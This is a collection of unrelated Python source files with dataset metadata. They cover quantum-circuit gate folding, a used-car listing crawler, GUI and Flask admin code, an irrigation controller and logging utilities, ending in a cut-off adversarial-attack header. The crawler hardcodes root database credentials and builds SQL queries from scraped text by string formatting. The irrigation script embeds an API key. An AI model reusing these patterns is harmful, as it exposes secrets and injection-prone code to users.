moment_indices)\n return folded\n\n\ndef _fold_all_gates_locally(circuit: Circuit) -> None:\n \"\"\"Replaces every gate G with G G^dag G by modifying the circuit in place.\n \"\"\"\n _fold_moments(circuit, list(range(len(circuit))))\n\n\ndef _get_num_to_fold(stretch: float, ngates: int) -> int:\n \"\"\"Returns the number of gates to fold to achieve the desired (approximate)\n stretch factor.\n\n Args:\n stretch: Floating point value to stretch the circuit by.\n ngates: Number of gates in the circuit to stretch.\n \"\"\"\n return int(round(ngates * (stretch - 1.0) / 2.0))\n\n\n@converter\ndef fold_gates_from_left(\n circuit: QPROGRAM, stretch: float, **kwargs\n) -> QPROGRAM:\n \"\"\"Returns a new folded circuit by applying the map G -> G G^dag G to a\n subset of gates of the input circuit, starting with gates at the\n left (beginning) of the circuit.\n\n The folded circuit has a number of gates approximately equal to\n stretch * n where n is the number of gates in the input circuit.\n\n Args:\n circuit: Circuit to fold.\n stretch: Factor to stretch the circuit by. Any real number in [1, 3].\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: the folded quantum circuit as a :class:`cirq.Circuit` object.\n\n Note:\n Folding a single gate adds two gates to the circuit,\n hence the maximum stretch factor is 3.\n \"\"\"\n if not circuit.are_all_measurements_terminal():\n raise ValueError(\n f\"Input circuit contains intermediate measurements\"\n \" and cannot be folded.\"\n )\n\n if not 1 <= stretch <= 3:\n raise ValueError(\n \"The stretch factor must be a real number between 1 and 3.\"\n )\n\n folded = deepcopy(circuit)\n\n measurements = _pop_measurements(folded)\n\n ngates = len(list(folded.all_operations()))\n num_to_fold = _get_num_to_fold(stretch, ngates)\n if num_to_fold == 0:\n _append_measurements(folded, measurements)\n return folded\n num_folded = 0\n moment_shift = 0\n\n for (moment_index, moment) in enumerate(circuit):\n for gate_index in range(len(moment)):\n _fold_gate_at_index_in_moment(\n folded, moment_index + moment_shift, gate_index\n )\n moment_shift += 2\n num_folded += 1\n if num_folded == num_to_fold:\n _append_measurements(folded, measurements)\n return folded\n\n\n@converter\ndef fold_gates_from_right(\n circuit: QPROGRAM, stretch: float, **kwargs\n) -> Circuit:\n \"\"\"Returns a new folded circuit by applying the map G -> G G^dag G\n to a subset of gates of the input circuit, starting with gates at\n the right (end) of the circuit.\n\n The folded circuit has a number of gates approximately equal to\n stretch * n where n is the number of gates in the input circuit.\n\n Args:\n circuit: Circuit to fold.\n stretch: Factor to stretch the circuit by. Any real number in [1, 3].\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: the folded quantum circuit as a :class:`cirq.Circuit` object.\n\n Note:\n Folding a single gate adds two gates to the circuit,\n hence the maximum stretch factor is 3.\n \"\"\"\n if not circuit.are_all_measurements_terminal():\n raise ValueError(\n f\"Input circuit contains intermediate measurements\" \\\n \" and cannot be folded.\"\n )\n\n measurements = _pop_measurements(circuit)\n\n reversed_circuit = Circuit(reversed(circuit))\n reversed_folded_circuit = fold_gates_from_left(reversed_circuit, stretch)\n folded = Circuit(reversed(reversed_folded_circuit))\n _append_measurements(folded, measurements)\n return folded\n\n\ndef _update_moment_indices(\n moment_indices: dict, moment_index_where_gate_was_folded: int\n) -> dict:\n \"\"\"Updates moment indices to keep track of an original circuit\n throughout folding.\n\n Args:\n moment_indices: A dictionary in the format\n {index of moment in original circuit: index of moment\n in folded circuit}\n\n moment_index_where_gate_was_folded: Index of the moment\n in which a gate was folded.\n\n Returns:\n moment_indices: dictionary with updated moments.\n\n Note:\n `moment_indices` should start out as\n {0: 0, 1: 1, ..., M - 1: M - 1} where M is the # of moments in the\n original circuit. As the circuit is folded, moment indices change.\n\n If a gate in the last moment is folded, moment_indices gets updates to\n {0: 0, 1: 1, ..., M - 1:, M + 1} since two moments are created in the\n process of folding the gate in the last moment.\n\n TODO:\n If another gate from the last moment is folded, we could put it\n in the same moment as the previous folded gate.\n \"\"\"\n if moment_index_where_gate_was_folded not in moment_indices.keys():\n raise ValueError(\n f\"Moment index {moment_index_where_gate_was_folded} not in moment\"\\\n \" indices\"\n )\n for i in moment_indices.keys():\n moment_indices[i] += 2 * int(i >= moment_index_where_gate_was_folded)\n return moment_indices\n\n\n@converter\ndef fold_gates_at_random(\n circuit: QPROGRAM, stretch: float, seed: Optional[int] = None, **kwargs\n) -> QPROGRAM:\n \"\"\"Returns a folded circuit by applying the map G -> G G^dag G to a random\n subset of gates in the input circuit.\n\n The folded circuit has a number of gates approximately equal to\n stretch * n where n is the number of gates in the input circuit.\n\n Args:\n circuit: Circuit to fold.\n stretch: Factor to stretch the circuit by. Any real number in [1, 3].\n seed: [Optional] Integer seed for random number generator.\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: The folded quantum circuit as a :class:`cirq.Circuit` object.\n\n Note:\n Folding a single gate adds two gates to the circuit, hence the maximum\n stretch factor is 3.\n \"\"\"\n if not circuit.are_all_measurements_terminal():\n raise ValueError(\n f\"Input circuit contains intermediate measurements\"\n \" and cannot be folded.\"\n )\n\n if not 1 <= stretch <= 3:\n raise ValueError(\n \"The stretch factor must be a real number between 1 and 3.\"\n )\n\n folded = deepcopy(circuit)\n\n measurements = _pop_measurements(folded)\n\n if np.isclose(stretch, 3.0, atol=1e-3):\n _fold_all_gates_locally(folded)\n _append_measurements(folded, measurements)\n return folded\n\n if seed:\n np.random.seed(seed)\n\n ngates = len(list(folded.all_operations()))\n num_to_fold = _get_num_to_fold(stretch, ngates)\n\n # Keep track of where moments are in the folded circuit\n moment_indices = {i: i for i in range(len(circuit))}\n\n # Keep track of which gates we can fold in each moment\n remaining_gate_indices = {\n moment: list(range(len(circuit[moment])))\n for moment in range(len(circuit))\n }\n\n # Any moment with at least one gate is fair game\n remaining_moment_indices = [\n i for i in remaining_gate_indices.keys() if remaining_gate_indices[i]\n ]\n\n for _ in range(num_to_fold):\n # Get a moment index and gate index from the remaining set\n moment_index = np.random.choice(remaining_moment_indices)\n gate_index = np.random.choice(remaining_gate_indices[moment_index])\n\n # Do the fold\n _fold_gate_at_index_in_moment(\n folded, moment_indices[moment_index], gate_index\n )\n\n # Update the moment indices for the folded circuit\n _update_moment_indices(moment_indices, moment_index)\n\n # Remove the gate we folded from the remaining set of gates to fold\n remaining_gate_indices[moment_index].remove(gate_index)\n\n # If there are no gates left in the moment,\n # remove the moment index from the remaining set\n if not remaining_gate_indices[moment_index]:\n remaining_moment_indices.remove(moment_index)\n\n _append_measurements(folded, measurements)\n return folded\n\n\n@converter\ndef fold_local(\n circuit: QPROGRAM,\n stretch: float,\n fold_method: Callable[\n [Circuit, float, Tuple[Any]], Circuit\n ] = fold_gates_from_left,\n fold_method_args: Tuple[Any] = (),\n **kwargs\n) -> QPROGRAM:\n \"\"\"Returns a folded circuit by folding gates according to the input\n fold method.\n\n Args:\n circuit: Circuit to fold.\n stretch: Factor to stretch the circuit by.\n fold_method: Function which defines the method for folding gates.\n fold_method_args: Any additional input arguments for the fold_method.\n The method is called with\n fold_method(circuit, stretch, *fold_method_args).\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: The folded quantum circuit as a :class:`cirq.Circuit` object.\n\n Example:\n >>> fold_method = fold_gates_at_random\n >>> fold_method_args = (1,)\n Uses a seed of one for the fold_gates_at_random method.\n\n Note:\n `fold_method` defines the strategy for folding gates, which could be\n folding gates at random, from the left of the circuit,\n or custom strategies.\n\n The signature of `fold_method` must be\n ```\n def fold_method(circuit: Circuit, stretch: float,**kwargs):\n ...\n ```\n and return a circuit.\n \"\"\"\n folded = deepcopy(circuit)\n\n if np.isclose(stretch, 1.0, atol=1e-2):\n return folded\n\n if not 1 <= stretch:\n raise ValueError(\n f\"The stretch factor must be a real number greater than 1.\"\n )\n\n while stretch > 1.0:\n this_stretch = 3.0 if stretch > 3.0 else stretch\n folded = fold_method(folded, this_stretch, *fold_method_args)\n stretch /= 3.0\n return folded\n\n\n# Circuit level folding\n@converter\ndef fold_global(circuit: QPROGRAM, stretch: float, **kwargs) -> QPROGRAM:\n \"\"\"Gives a circuit by folding the global unitary of the input circuit.\n\n The returned folded circuit has a number of gates approximately equal to\n stretch * len(circuit).\n\n Args:\n circuit: Circuit to fold.\n stretch: Factor to stretch the circuit by.\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: The folded quantum circuit as a :class:`cirq.Circuit` object.\n \"\"\"\n if not (stretch >= 1):\n raise ValueError(\"The stretch factor must be a real number >= 1.\")\n\n if not circuit.are_all_measurements_terminal():\n raise ValueError(\n \"Input circuit contains intermediate measurements\"\n \" and cannot be folded.\"\n )\n\n folded = deepcopy(circuit)\n measurements = _pop_measurements(folded)\n base_circuit = deepcopy(folded)\n\n # Determine the number of global folds and the final fractional stretch\n num_global_folds, fractional_stretch = divmod(stretch - 1, 2)\n # Do the global folds\n for _ in range(int(num_global_folds)):\n folded += Circuit(inverse(base_circuit), base_circuit)\n\n # Fold remaining gates until the stretch is reached\n ops = list(base_circuit.all_operations())\n num_to_fold = int(round(fractional_stretch * len(ops) / 2))\n\n if num_to_fold > 0:\n folded += Circuit([inverse(ops[-num_to_fold:])], [ops[-num_to_fold:]])\n\n _append_measurements(folded, measurements)\n return folded\n","sub_path":"artifacts/minimal_bugfixes/mitiq/mitiq#125/after/folding.py","file_name":"folding.py","file_ext":"py","file_size_in_byte":19792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"646759470","text":"'''\nWrite a Python program to get the factorial of a non-negative integer.\n'''\n\ndef factorial(num):\n if num <= 1:\n return 1\n else:\n return num * factorial(num - 1)\n\nprint (factorial(13))","sub_path":"Recursion/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"635109058","text":"'''\n 5단계\n 각 페이지에서 제목/가격/판매자명을 DB에 저장\n 한글은 int 타입 컬럼에 입력불가한 관계로,\n 판매완료는 0, 계약은 1로 저장함\n'''\n# 1) 필요한 라이브러리 import\nfrom bs4 import BeautifulSoup as bs\nfrom urllib.request import urlopen\nfrom google.cloud import storage as gcs\nimport os, pymysql, time\n\nconn = pymysql.connect(host='34.64.176.78', port=3306,\n db='mycar', user='root', password='admin1234',\n charset='utf8')\n\ncursor = conn.cursor()\nsql = \"select idx,url from intercar where price is null\"\ncursor.execute(sql)\nurls = cursor.fetchall()\n\nfor idxurl in urls:\n # 차량 각 상세페이지 열기\n idx,url = idxurl\n print(\"idx : \", idx)\n html = urlopen(url)\n soup = bs(html, \"html.parser\")\n title = soup.select_one('div.title-area h3.tit').text\n price = soup.select_one('div.price-area b').text.replace(',','')\n seller = soup.select_one('div.seller-data div.seller-state b').text\n\n if price=='[판매완료]':\n update_sql = \"UPDATE intercar SET title='{}',price=0,seller='{}' where idx={}\".format(title, seller,idx)\n elif price=='[계약]':\n update_sql = \"UPDATE intercar SET title='{}',price=1,seller='{}' where idx={}\".format(title, seller, idx)\n elif price=='[가격상담]':\n update_sql = \"UPDATE intercar SET title='{}',price=2,seller='{}' where idx={}\".format(title, seller, idx)\n elif price=='[보류]':\n update_sql = \"UPDATE intercar SET title='{}',price=3,seller='{}' where idx={}\".format(title, seller, idx)\n else:\n update_sql = \"UPDATE intercar SET title='{}',price={},seller='{}' where idx={}\".format(title,price,seller,idx)\n print(update_sql)\n cursor.execute(update_sql)\n conn.commit()\n\ncursor.close()\nconn.close()\nprint('완료')\n\n\n","sub_path":"imgcrawling5.py","file_name":"imgcrawling5.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"498559333","text":"import argparse\n\nfrom python_qt_binding import QT_BINDING\nfrom python_qt_binding.QtCore import qDebug\nfrom rqt_gui_py.plugin import Plugin\n\nfrom rqt_py_common.ini_helper import pack, unpack\n\nfrom .plot_widget import PlotWidget\n\nfrom .data_plot import DataPlot\n\nclass Plot(Plugin):\n \n def __init__(self , context):\n super(Plot , self).__init__(context)\n self.setObjectName('plot')\n \n self._context = context\n self._widget = PlotWidget()\n self._data_plot = DataPlot(self._widget)\n \n #set parameters of data_plot \n self._data_plot.set_autoscale(x=False)\n self._data_plot.set_autoscale(y=DataPlot.SCALE_EXTEND | DataPlot.SCALE_VISIBLE)\n self._data_plot.set_xlim([0 , 10.0])\n \n self._widget.switch_data_plot_widget(self._data_plot)\n \n if context.serial_number() > 1:\n self._widget.setWindowTitle(self._widget.windowTitle() + (' (%d)' % context.serial_number()))\n context.add_widget(self._widget)\n \n def _update_title(self):\n #self._widget.setWindowTitle(self._data_plot.getTitle())\n if self._context.serial_number() > 1:\n self._widget.setWindowTitle(self._widget.windowTitle() + (' (%d)' % self._context.serial_number())) \n \n def save_settings(self, plugin_settings, instance_settings):\n self._data_plot.save_settings(plugin_settings, instance_settings)\n \n def restore_settings(self, plugin_settings, instance_settings):\n self._update_title()\n self._data_plot.restore_settings(plugin_settings, instance_settings) \n \n def trigger_configuration(self):\n self._data_plot.doSettingsDialog()\n self._update_title()\n\n def shutdown_plugin(self):\n self._widget.clean_up_subscribers() \n \n \n \n ","sub_path":"dragon_visualization/rqt_plot_rf/src/rqt_plot_rf/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"468888947","text":"class Stock:\n def __init__(self):\n self.first = None\n \n def add(self, product):\n t = product\n t.next = self.first\n self.first = t \n\n def list(self):\n s = self.first.toString() + \"\\n\"\n t = self.first.next\n while(t != None):\n s += t.toString() + \"\\n\"\n t = t.next\n\n return s;\n\n def delete(self, id):\n t = self.first\n while(t != None and t.next.id != id):\n t = t.next\n \n t.next = t.next.next\n return True;\n \n def search(self, id):\n t = self.first\n while(t != None and t.id != id ):\n t = t.next\n \n if(t == None):\n return None\n if(t.id == id):\n return t\n ","sub_path":"DataStructure/CRUD Simple Lists/Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"287960993","text":"import logging\n\nimport click\n\nimport packit\nfrom packit.cli.sourcegit_to_dist_git import sg2dg\nfrom packit.cli.sourcegit_to_srpm import sg2srpm\nfrom packit.cli.watch_fedora_ci import watcher\nfrom packit.cli.watch_sg_pr import watch_pr\nfrom packit.config import Config, get_context_settings\nfrom packit.utils import set_logging\n\nlogger = logging.getLogger(__name__)\n\n\n@click.group(\"packit\", context_settings=get_context_settings())\n@click.option(\"-d\", \"--debug\", is_flag=True)\n@click.option(\"--fas-user\")\n@click.option(\"-k\", \"--keytab\")\n@click.option(\"-v\", \"--verbose\", is_flag=True)\n@click.pass_context\ndef packit_base(ctx, **kwargs):\n ctx.obj = Config(**kwargs)\n if ctx.obj.debug:\n set_logging(level=logging.DEBUG)\n logger.debug(\"logging set to DEBUG\")\n\n elif ctx.obj.verbose:\n set_logging(level=logging.INFO,\n format=\"%(message)s\")\n logger.debug(\"logging set to INFO\")\n\n\n@click.command(\"version\")\ndef version():\n \"\"\"Display the version.\"\"\"\n click.echo(packit.__version__)\n\n\npackit_base.add_command(sg2dg)\npackit_base.add_command(sg2srpm)\npackit_base.add_command(watcher)\npackit_base.add_command(version)\npackit_base.add_command(watch_pr)\n\nif __name__ == '__main__':\n packit_base()\n","sub_path":"packit/cli/packit_base.py","file_name":"packit_base.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"644585221","text":"#!/usr/bin/python\n#\n# Copyright 2018 Jigsaw Operations LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport asyncio\nimport ipaddress\nimport pprint\nimport socket\nimport sys\n\nimport netanalysis.analysis.simple_autonomous_system as sas\nfrom netanalysis.dns import domain_ip_validator\nimport netanalysis.model.autonomous_system as model\n\ndef resolve_ip(ip) -> str:\n try:\n return socket.gethostbyaddr(ip.compressed)[0]\n except socket.herror:\n return None\n\ndef main(args):\n ip_address = args.ip_address[0]\n as_repo = sas.create_default_as_repo() # type: model.AsRepository\n asys = as_repo.get_as_for_ip(ip_address) # type: model.AutonomousSytem\n print(\"ASN: %d (%s)\" % (asys.id, asys.name))\n # AS Type is is experimental and outdated data.\n print(\"Type: %s\" % asys.type.name)\n print(\"Org: %s (country: %s, name: %s)\" % (asys.org.id, asys.org.country, asys.org.name))\n if ip_address.is_global:\n hostname = resolve_ip(ip_address)\n if hostname:\n print(\"Hostname: %s\" % hostname)\n else:\n print(\"IP in not global\")\n validator = domain_ip_validator.DomainIpValidator()\n try:\n cert = asyncio.get_event_loop().run_until_complete(validator.get_cert(None, ip_address))\n if cert:\n print(\"TLS Certificate:\\n%s\" % pprint.pformat(cert, width=100, compact=True))\n except Exception as e:\n print(\"TLS Certificate: %s\" % repr(e))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Gets information about the given IP address')\n parser.add_argument('ip_address', type=ipaddress.ip_address,\n nargs=1, help='The IP address to get information fo')\n sys.exit(main(parser.parse_args()))\n","sub_path":"netanalysis/analysis/ip_info.py","file_name":"ip_info.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"268336487","text":"# coding:utf-8\n\nfrom flask import Blueprint, request, render_template\nfrom flask_user import roles_required\nfrom ...helpers.flask_helper import json_response\nfrom ...models import Pattern\nfrom ...services import pattern_service\n\nbp = Blueprint('admin_patterns', __name__, url_prefix='/admin/patterns')\n\n\n@bp.route('/', methods=['GET'])\n@roles_required('admin')\ndef home_page():\n return render_template('backend/patternsMgr.html')\n\n\n@bp.route('/list', methods=['GET'])\ndef list_pattern():\n limit = int(request.args.get('iDisplayLength', '10'))\n offset = int(request.args.get('iDisplayStart', '0'))\n sEcho = request.args.get('sEcho')\n name = request.args.get('name', None)\n count, patterns = pattern_service.paginate_pattern(offset, limit, name=name)\n return json_response(sEcho=sEcho, iTotalRecords=count, iTotalDisplayRecords=count, aaData=patterns)\n\n\n@bp.route('/create', methods=['GET'])\n@bp.route('//update', methods=['GET'])\ndef create_or_update_pattern_page(pattern_id=None):\n if pattern_id:\n pattern = Pattern.from_cache_by_id(pattern_id)\n else:\n pattern = {}\n\n return render_template('backend/patternUpdate.html', pattern=pattern)\n\n\n@bp.route('/create', methods=['POST'])\ndef create_pattern():\n pattern = pattern_service.create_pattern(**request.json)\n return json_response(pattern=pattern)\n\n\n@bp.route('//update', methods=['POST'])\ndef update_pattern(pattern_id):\n pattern = pattern_service.update_pattern(pattern_id, **request.json)\n return json_response(pattern=pattern)\n\n\n@bp.route('//delete', methods=['POST'])\ndef delete_pattern(pattern_id):\n pattern_service.delete_pattern(pattern_id)\n return json_response(success=True)\n\n\n@bp.route('/', methods=['GET'])\ndef get_pattern(pattern_id):\n pattern = Pattern.from_cache_by_id(pattern_id)\n return json_response(pattern=pattern)\n","sub_path":"web_app/frontend/admin/patterns.py","file_name":"patterns.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"332273705","text":"from os import write\nimport urllib\nimport json\nimport pprint\nimport urllib.request\nfrom datetime import date\nimport time\napi = \"http://api.openweathermap.org/data/2.5/forecast?id=524901&appid=0b7c4978dda884bbfb0397d03033509f\"\nsapi = \"http://api.openweathermap.org/data/2.5/forecast/daily?zip=94032&appid=0b7c4978dda884bbfb0397d03033509f\" \n\nsaapi = \"http://api.openweathermap.org/data/2.5/weather?q=Passau&appid=0b7c4978dda884bbfb0397d03033509f\"\n\nsensor_state = {\n \"Analog_Rain\": 1,\n \"Digital_Rain\": 1,\n \"Temp\": 1,\n \"Soil_Moisture\": 1,\n}\n\ndef getDate():\n today = date.today()\n d1 = today.strftime(\"%d/%m/%Y\")\n return d1\n\nirrigation_state = {\n \"irrgatedToday\" : False,\n \"date\": getDate()\n}\n\n\n# Reading Sensor data \nwith open(\"sensors.json\") as jsonFile:\n jsonObject = json.load(jsonFile)\n jsonFile.close()\n\ncurrentSensorvalues = jsonObject[0]\nlastMoistureValue = {\n\n}\nif(currentSensorvalues['Soil_Moisture'] <= 1200):\n lastRecordedMoistureValue = currentSensorvalues['Soil_Moisture']\n lastRecordedTime =timestamp = int(time.time()*1000.0)\n lastMoistureValue['Soil_Moisture'] = lastRecordedMoistureValue\n lastMoistureValue['time'] = lastRecordedTime\n\n\nprint(\"Current sensor values\")\nprint(currentSensorvalues)\nprint(\"\\n\")\n\n\ndef saveState():\n \n with open(\"sensors_state.json\", \"w\") as f: \n json.dump(sensor_state, f)\n f.close()\n\n\ndef showWarnings():\n print(\"\\n\")\n print(\"Sensors have failed and could not fetch data from cloud\")\n exit(1)\n\ndef getCurrentWeatherConditions():\n response = urllib.request.urlopen(saapi)\n output = response.read().decode('utf-8')\n return json.loads(output)\n\ndef irrigate(time):\n print(\"Current Sensor state\")\n print(sensor_state)\n print(\"\\n\\n\")\n print(\"------------Determined irrigation--------------\")\n print(\"Irrgating for \"+ str(time) + \" minutes\")\n irrgatedToday = True\n saveState()\n \n\ndef doNotIrrigate(time):\n print(\"Current Sensor state\")\n print(sensor_state)\n print(\"\\n\\n\")\n print(\"------------Determined irrigation--------------\")\n print(\"No need to irrigate now\")\n saveState()\n\n\ndef getEstimatedMoisture():\n # decreases in time , check the last recorded value\n currentTemperature = currentSensorvalues['Temperature']\n currentTimestamp = int(time.time()*1000.0)\n difference = currentTimestamp - lastMoistureValue['time']\n moist = currentSensorvalues['Soil_Moisture'] - ((difference/1000) * currentTemperature)\n return moist\n\ndef controlLogic():\n\n # Fix missing sensor data with api\n try:\n cloud_data = getCurrentWeatherConditions()\n except:\n cloud_data = \"Unable to fetch\"\n # pprint.pprint(cloud_data)\n if(currentSensorvalues['Soil_Moisture'] == 9999):\n print(\"WARNING..Soil_Moisture sensor has failed\")\n\n # currentSensorvalues['Soil_Moisture'] = getEstimatedMoisture()\n # print(\"estimated moisture\")\n # print(currentSensorvalues['Soil_Moisture'])\n sensor_state['Soil_Moisture'] = 0\n\n \n if ( currentSensorvalues['Digital_Rain'] == 9999 or currentSensorvalues['Analog_Rain'] == 9999):\n print(\"WARNING.. Using data from the cloud. Rain sensor has failed\")\n sensor_state['Digital_Rain'] = 0\n sensor_state['Analog_Rain'] = 0\n if(cloud_data == 'Unable to fetch'):\n return showWarnings() \n\n if(cloud_data['weather'][0]['main']=='Rain' or cloud_data['weather'][0]['main']=='Light rain'):\n \n currentSensorvalues['Digital_Rain'] = 1\n print(currentSensorvalues)\n currentSensorvalues['Analog_Rain'] = 2500\n \n\n else:\n currentSensorvalues['Digital_Rain'] = 0\n currentSensorvalues['Analog_Rain'] = 4000\n\n\n \n if( currentSensorvalues['Soil_Moisture'] <300 and (currentSensorvalues['Analog_Rain']>3000 and currentSensorvalues['Analog_Rain']<4500)):\n irrigate(5)\n \n else:\n doNotIrrigate(5)\n\n\n\n\ncontrolLogic()\n\n\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"325520765","text":"from logging import LogRecord\nfrom typing import Optional\n\nfrom six import string_types\n\nimport frappe\nimport uuid\nimport logging\nimport zlib\nfrom socket import gethostname\nfrom logging.handlers import RotatingFileHandler\nfrom pygelf import GelfUdpHandler\nfrom frappe.model.document import Document\nfrom latte.json import dumps_binary, loads\nfrom traceback import walk_stack\nfrom frappe import local\n\nclass CustomAttributes(logging.Filter):\n\t__slots__ = [\n\t\t'__modulename',\n\t\t'__index_name',\n\t\t'__storage_key',\n\t]\n\tdef __init__(self, *args, modulename=None, index_name=None, storage_key=None, **kwargs):\n\t\tself.__modulename = modulename\n\t\tself.__index_name = index_name\n\t\tself.__storage_key = storage_key\n\t\tsuper().__init__(*args, **kwargs)\n\n\tdef filter(self, record):\n\t\tmessage = enrich(record.msg)\n\n\t\tmessage['module'] = self.__modulename\n\t\tmessage['index_name'] = self.__index_name\n\t\tmessage['storage_key'] = self.__storage_key\n\t\tmessage['timestamp'] = record.created\n\t\tmessage['host'] = gethostname()\n\n\t\tif isinstance(message, frappe._dict):\n\t\t\tmessage = dict(message)\n\n\t\trecord.msg = dumps_binary(message)\n\n\t\treturn True\n\ndef enrich(logged_msg):\n\tif isinstance(logged_msg, dict):\n\t\tmessage = logged_msg\n\telif isinstance(logged_msg, Document):\n\t\tmessage = logged_msg.as_dict()\n\telse:\n\t\tmessage = {'info': logged_msg}\n\n\tflags = local.flags\n\n\tflags.request_id_number = (flags.request_id_number or 0) + 1\n\n\trequest_id = flags.request_id\n\n\tif not request_id:\n\t\trequest_id = flags.request_id = str(uuid.uuid4())\n\n\tif 'request_id' not in message:\n\t\tmessage['request_id'] = request_id\n\n\tif 'task_id' not in message:\n\t\tmessage['task_id'] = flags.task_id\n\n\tif 'runner_type' not in message:\n\t\tmessage['runner_type'] = flags.runner_type\n\n\tmessage['log_number'] = flags.request_id_number\n\tmessage['site'] = getattr(local, 'site', None)\n\n\tif 'user' not in message:\n\t\tmessage['user'] = frappe.session.user\n\tif 'log_identity' not in message:\n\t\tmessage['log_identity'] = flags.log_identity\n\tif 'method' not in message:\n\t\tmessage['method'] = flags.current_running_method\n\n\treturn message\n\ndef get_logger(module=None, with_more_info=False, index_name=None):\n\tif module is None:\n\t\tframe = next(walk_stack(None))[0]\n\t\tmodule = f'{frame.f_code.co_filename} | {frame.f_code.co_name}'\n\n\tstorage_key = f'{module}_{index_name or \"default\"}'\n\ttry:\n\t\treturn frappe.loggers[storage_key]\n\texcept KeyError:\n\t\tpass\n\n\tlogger = logging.getLogger(storage_key)\n\tfrappe.loggers[storage_key] = logger\n\n\tif getattr(logger, '__patched', None):\n\t\treturn logger\n\t#logger.__patched = True\n\n\tlogger_type = local.conf.logger_type\n\t# logger.addFilter(CustomAttributes(\n\t# \tmodulename=module,\n\t# \tindex_name=index_name or 'default',\n\t# \tstorage_key=storage_key,\n\t# ))\n\n\thandler = None\n\tif logger_type != 'file':\n\t\thandler = get_gelf_handler()\n\t\tlogger.addFilter(CustomAttributes(\n\t\t\t\tmodulename=module,\n\t\t\t\tindex_name=index_name or 'default',\n\t\t\t\tstorage_key=storage_key,\n\t\t))\n\tif not handler:\n\t\tformatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n\t\thandler = RotatingFileHandler(\n\t\t\t\tlocal.conf.logfile or '../logs/frappe.log',\n\t\t\tmaxBytes=100 * 1024 * 1024,\n\t\t\tbackupCount=10,\n\t\t)\n\t\thandler.setFormatter(formatter)\n\n\tlogger.addHandler(handler)\n\tlogging_level = local.conf.logging_level or logging.INFO\n\tif str(logging_level).isnumeric():\n\t\tlogging_level = int(logging_level)\n\tlogger.setLevel(logging_level)\n\tlogger.propagate = True\n\tlogger.__patched = True\n\treturn logger\n\n\ndef get_gelf_handler():\n\tgelf_config = local.conf.gelf_config\n\tif not gelf_config:\n\t\treturn\n\n\tgelf_gelf_host = gelf_config.get('host', '127.0.0.1')\n\tgelf_gelf_port = gelf_config.get('port', 32000)\n\treturn CustomGelfUdpHandler(host=gelf_gelf_host, port=gelf_gelf_port, include_extra_fields=True)\n\nclass CustomGelfUdpHandler(GelfUdpHandler):\n\tdef convert_record_to_gelf(self, record):\n\t\treturn zlib.compress(record.msg)\n\n\n# class DictMessageFormatter(logging.Formatter):\n#\n# \tdef __init__(self, fmt: Optional[str] = ..., ) -> None:\n# \t\tsuper().__init__(fmt, validate=False)\n#\n# \tdef formatMessage(self, record: LogRecord) -> str:\n# \t\tmsg = record.msg\n# \t\tif msg:\n# \t\t\tif isinstance(msg, dict):\n# \t\t\t\tmsg_dict = msg\n# \t\t\telif isinstance(msg, string_types):\n# \t\t\t\ttry:\n# \t\t\t\t\tmsg_dict = loads(msg)\n# \t\t\t\texcept:\n# \t\t\t\t\tmsg_dict = {\"message\": msg}\n# \t\t\telse:\n# \t\t\t\tmsg_dict: {\"message\": msg}\n#\n# \t\t\tif not msg_dict.get(\"method\", None):\n# \t\t\t\tmsg_dict.update({\"method\": \"\"})\n# \t\t\tif not msg_dict.get(\"info\", None):\n# \t\t\t\tmsg_dict.update({\"info\": \"\"})\n# \t\t\tif record.args:\n# \t\t\t\trecord.args.update(msg_dict)\n# \t\t\telse:\n# \t\t\t\trecord.args = msg_dict\n# \t\t\tprint(f\"##### Record Args - {record.args}\")\n# \t\treturn super(DictMessageFormatter, self).formatMessage(record)\n","sub_path":"latte/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":4730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"504515093","text":"## l2_attack.py -- attack a network optimizing for l_2 distance\n##\n## Copyright (C) 2016, Nicholas Carlini .\n##\n## This program is licenced under the BSD 2-Clause licence,\n## contained in the LICENCE file in this directory.\n\nimport sys\nimport tensorflow as tf\nimport numpy as np\nfrom numpy import linalg as 